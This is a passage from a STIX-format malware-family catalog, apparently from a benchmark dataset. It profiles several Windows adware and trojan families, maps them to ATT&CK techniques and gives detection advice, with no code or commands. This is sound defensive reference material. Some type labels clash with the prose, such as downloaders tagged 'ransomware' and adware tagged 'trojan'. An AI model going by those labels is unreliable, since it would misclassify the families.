      "description": "PUA:Win32/Presenoker (widely cataloged across Microsoft Defender and endpoint telemetry as Win32/Presenoker or Adware.Presenoker) is an intrusive software bundler, potentially unwanted application (PUA), and adware platform. Analyzed in depth by Huntress Labs and Microsoft Security, Presenoker is commonly packaged inside third-party installers for torrent downloaders, free game mods, system tweaks, and software cracks. Once executed, Presenoker installs persistent background services, writes hidden executables into user %Temp% and %AppData% directories, and injects advertising pop-ups into web browser sessions. It modifies browser homepage and default search configurations, intercepts DNS requests to route through promotional search syndicates, and operates as an unauthorized delivery vehicle capable of downloading secondary unwanted software. (Observed samples in benchmark: 406)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Presenoker",
        "PUA:Win32/Presenoker",
        "Win32/Presenoker",
        "Adware.Presenoker",
        "Presenoker Bundler",
        "PUP.Optional.Presenoker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Presenoker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/presenoker"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b8c386e-a0a8-5483-9fcf-97636900cc3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c3a748c-d659-5621-b3d4-12982d190b87",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Presenoker exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4cd8aa0-0da1-5c98-82e1-6a4ab7a35f38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c3a748c-d659-5621-b3d4-12982d190b87",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Presenoker exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40481bb4-38bb-5763-b5b1-058f92e3b491",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c3a748c-d659-5621-b3d4-12982d190b87",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Presenoker exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e2679f2-72e1-5b39-a500-352ef0085c7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c3a748c-d659-5621-b3d4-12982d190b87",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Presenoker exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--859a96ba-b915-5c43-a6ef-59c517e8f29b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c3a748c-d659-5621-b3d4-12982d190b87",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Presenoker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e346a1c7-9fb6-5c2c-81a8-a26e3c2eca46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prex",
      "description": "<h3>Executive Summary</h3>\nPrex is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPrex is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Prex operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Prex ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Prex receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Prex infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Prex executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Prex frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Prex",
        "Downloader.Prex",
        "Win32/Prex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89752a4c-0c78-58f6-bc22-4a85ec36c6bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e346a1c7-9fb6-5c2c-81a8-a26e3c2eca46",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a5a2640-3000-5592-8ea9-698dbe7c2723",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e346a1c7-9fb6-5c2c-81a8-a26e3c2eca46",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e31732d6-a9c6-5ed5-bee7-8e2e75a29b60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e346a1c7-9fb6-5c2c-81a8-a26e3c2eca46",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--713f5aea-8688-5e90-81a7-4301e596fba5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Primarypass",
      "description": "Primarypass (cataloged across security intelligence repositories under signatures including Adware:Win32/Primarypass, PUA:Win32/Primarypass, and BrowserModifier:Win32/Primarypass) is an intrusive adware framework and potentially unwanted application (PUA) active since 2015. Distributed primarily through deceptive third-party software bundlers, free utility repackagers, and torrent download wrappers, Primarypass is engineered to monetize infected Windows endpoints via forced advertising and search redirection. Upon execution, Primarypass injects unauthorized browser extensions into Google Chrome, Mozilla Firefox, and Microsoft Edge, modifying browser shortcut arguments and manipulating Group Policy Object (GPO) registry settings (such as ExtensionInstallForcelist) to prevent extension removal. It aggressively injects interstitial banner advertisements into visited websites, hijacks default search queries to affiliated advertising engines, and transmits user web browsing telemetry and search history to remote monetization servers. (Observed samples in benchmark: 30)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Primarypass",
        "PUA:Win32/Primarypass",
        "BrowserModifier:Win32/Primarypass",
        "Win32/Primarypass",
        "Adware.Primarypass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Primarypass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/primarypass"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a392e5f-dc8d-5925-85fc-deafbec4cf87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Primawega",
      "description": "Trojan:Win32/Primawega is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Primawega</b><br>To an end-user, a Primawega infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Primawega is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Primawega is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Primawega frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Primawega reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Primawega",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/primawega"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--253b675b-68ad-5313-810a-ef365ca5b35c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a392e5f-dc8d-5925-85fc-deafbec4cf87",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primawega exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5ea055f-8496-53ca-af6f-956bb962fb60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a392e5f-dc8d-5925-85fc-deafbec4cf87",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primawega exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d34cff6-de54-5920-b8a5-c0eb7c8a4422",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a392e5f-dc8d-5925-85fc-deafbec4cf87",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primawega exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9edc522-3b34-5b82-9289-c0f892e8b917",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a392e5f-dc8d-5925-85fc-deafbec4cf87",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primawega exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--963b876f-6f95-5c36-8df2-b111c26f07a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a392e5f-dc8d-5925-85fc-deafbec4cf87",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primawega exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50148be8-0171-5d98-9bb0-fc141358a08e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Primecasino",
      "description": "Adware:Win32/Primecasino is a highly aggressive adware framework and Potentially Unwanted Program (PUA) specifically designed to inundate the infected endpoint with intrusive advertisements, pop-ups, and forced browser redirects promoting online gambling portals, unregulated casinos, and betting applications. It monetizes the infection through illicit affiliate marketing and pay-per-click revenue.<br><br><b>Understanding Primecasino Adware</b><br>To an end-user, a Primecasino infection makes the computer nearly unusable for web browsing. The browser is constantly hijacked, opening new tabs to flashy, loud casino websites, and injecting gambling banners directly into unrelated web pages. For security analysts, this adware represents a significant risk because the promoted gambling sites are often unregulated, frequently host secondary malware (like exploit kits or fake Flash updates), and the adware itself deeply embeds into the OS to prevent removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Primecasino is distributed via deceptive software bundlers (`T1189`) or by users clicking on deceptive malvertising links on adult or piracy websites. Upon execution (`T1204.002`), it establishes aggressive persistence via hidden Windows Services (`T1543.003`) and Scheduled Tasks. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). The core component acts as a local proxy, actively injecting gambling advertisements directly into the DOM of the websites the user visits, while simultaneously exfiltrating the user's browsing history to the adware's C2 server.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, significant productivity loss, and a high risk of secondary infections from the malicious gambling portals. Incident responders will observe massive amounts of anomalous HTTP/HTTPS traffic routing to known adware affiliate networks and gambling domains. EDR logs will flag the installation of persistent browser extensions and the creation of watchdog services designed to reinstall the adware if deleted. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Primecasino",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/primecasino"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7fbfad1-c56a-511a-a278-8244bbe8f565",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50148be8-0171-5d98-9bb0-fc141358a08e",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primecasino exhibits technique T1189 (Drive-by Compromise (Bundled Installers and Malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0edd0c4-242b-5a93-a4ca-6c211e26b4e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50148be8-0171-5d98-9bb0-fc141358a08e",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primecasino exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c00cf18-ff99-5ad3-b730-ed5fd5afd701",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50148be8-0171-5d98-9bb0-fc141358a08e",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primecasino exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Watchdog))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b001975c-849f-5528-828a-b3d85c131e30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50148be8-0171-5d98-9bb0-fc141358a08e",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Primecasino exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prjraptor",
      "description": "PrjRAPTOR (frequently documented as Project Raptor, PrjRaptor, or Backdoor.PrjRaptor) was an early-2000s hacktool and Remote Access Trojan prominent in the retro Windows Trojan scene. Designed as a versatile client-server backdoor, PrjRAPTOR was built to provide full unauthorized administrative privileges over target workstations. Once deployed, the server executable opened a listening socket on a designated TCP port and registered an autostart hook in the Windows registry. Operators using the PrjRAPTOR control client could remotely browse and modify the local file system, upload and execute secondary binaries, terminate system processes, capture screen imagery, and execute interactive command prompt sessions. PrjRAPTOR also featured automated system reconnaissance capabilities, capturing environment variables, network interface details, and user account information upon connection.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Project Raptor",
        "PrjRaptor",
        "Backdoor.Win32.PrjRaptor",
        "Trojan.PrjRaptor",
        "Win32/PrjRaptor.RAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prjraptor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prjraptor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9164e69-e063-5f26-848d-92f7a9af5485",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--648d079a-70f1-565d-b6dc-ec71e3f2e11e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e770b5c-3c93-53a6-bf0b-e56d4c666c0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa31cab9-76ff-53a4-9fe6-b865ad8928a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--aa37b729-2957-50b6-a521-ffdef2f42ea8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1057 (Process Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--801e59a8-db5f-5116-ad16-12cc6cbdc47a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dff76301-e0a7-5894-91dd-713d11dc9650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61ba7f41-cdcf-5e3e-abe8-eccf2e99212e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8c6fcd3-fade-5373-a1a2-8064f5525f86",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prjraptor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--df55d3cd-85b5-504b-a047-904c72701630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Processhijack",
      "description": "ProcessHijack (cataloged in threat telemetry as Trojan:Win32/ProcessHijack and Trojan:Win32/ProcessHijack.GTM!MTB) represents a family of sophisticated stealth trojans and process-injection tools identified by Microsoft Defender in 2018. Designed primarily for defense evasion, ProcessHijack abuses legitimate Windows operating system processes (such as svchost.exe, explorer.exe, or msbuild.exe) by utilizing advanced process hollowing, reflective DLL loading, and asynchronous procedure call (APC) injection techniques. Upon launching from a dropper or malicious document, ProcessHijack hollows out a benign system binary in memory, replaces its executable image with encrypted malicious payload code, and executes under the trusted process context. This subversion allows the malware to bypass endpoint application whitelisting and traditional host intrusion prevention systems (HIPS). Once embedded, ProcessHijack establishes encrypted C2 beaconing, logs user activity, and provides threat actors with an stealthy in-memory backdoor. (Observed samples in benchmark: 187)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/ProcessHijack",
        "Trojan:Win32/ProcessHijack.GTM!MTB",
        "Win32/ProcessHijack",
        "Trojan.ProcessHijack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Processhijack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/processhijack"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b1e0bac-49ae-5cff-878f-3f1752e1a3ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df55d3cd-85b5-504b-a047-904c72701630",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Processhijack exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--885fdf04-b4f3-50f6-b2e7-8fe146df41b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df55d3cd-85b5-504b-a047-904c72701630",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Processhijack exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1b5e076-f085-5903-845d-8add5ace091d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df55d3cd-85b5-504b-a047-904c72701630",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Processhijack exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95a08278-b60a-5ea4-bd03-eea586e04648",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df55d3cd-85b5-504b-a047-904c72701630",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Processhijack exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--655645a7-f3a4-581c-a76f-6db33c35db5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df55d3cd-85b5-504b-a047-904c72701630",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Processhijack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--027f7275-3781-587f-9917-b8e6152c5a34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Procgmar",
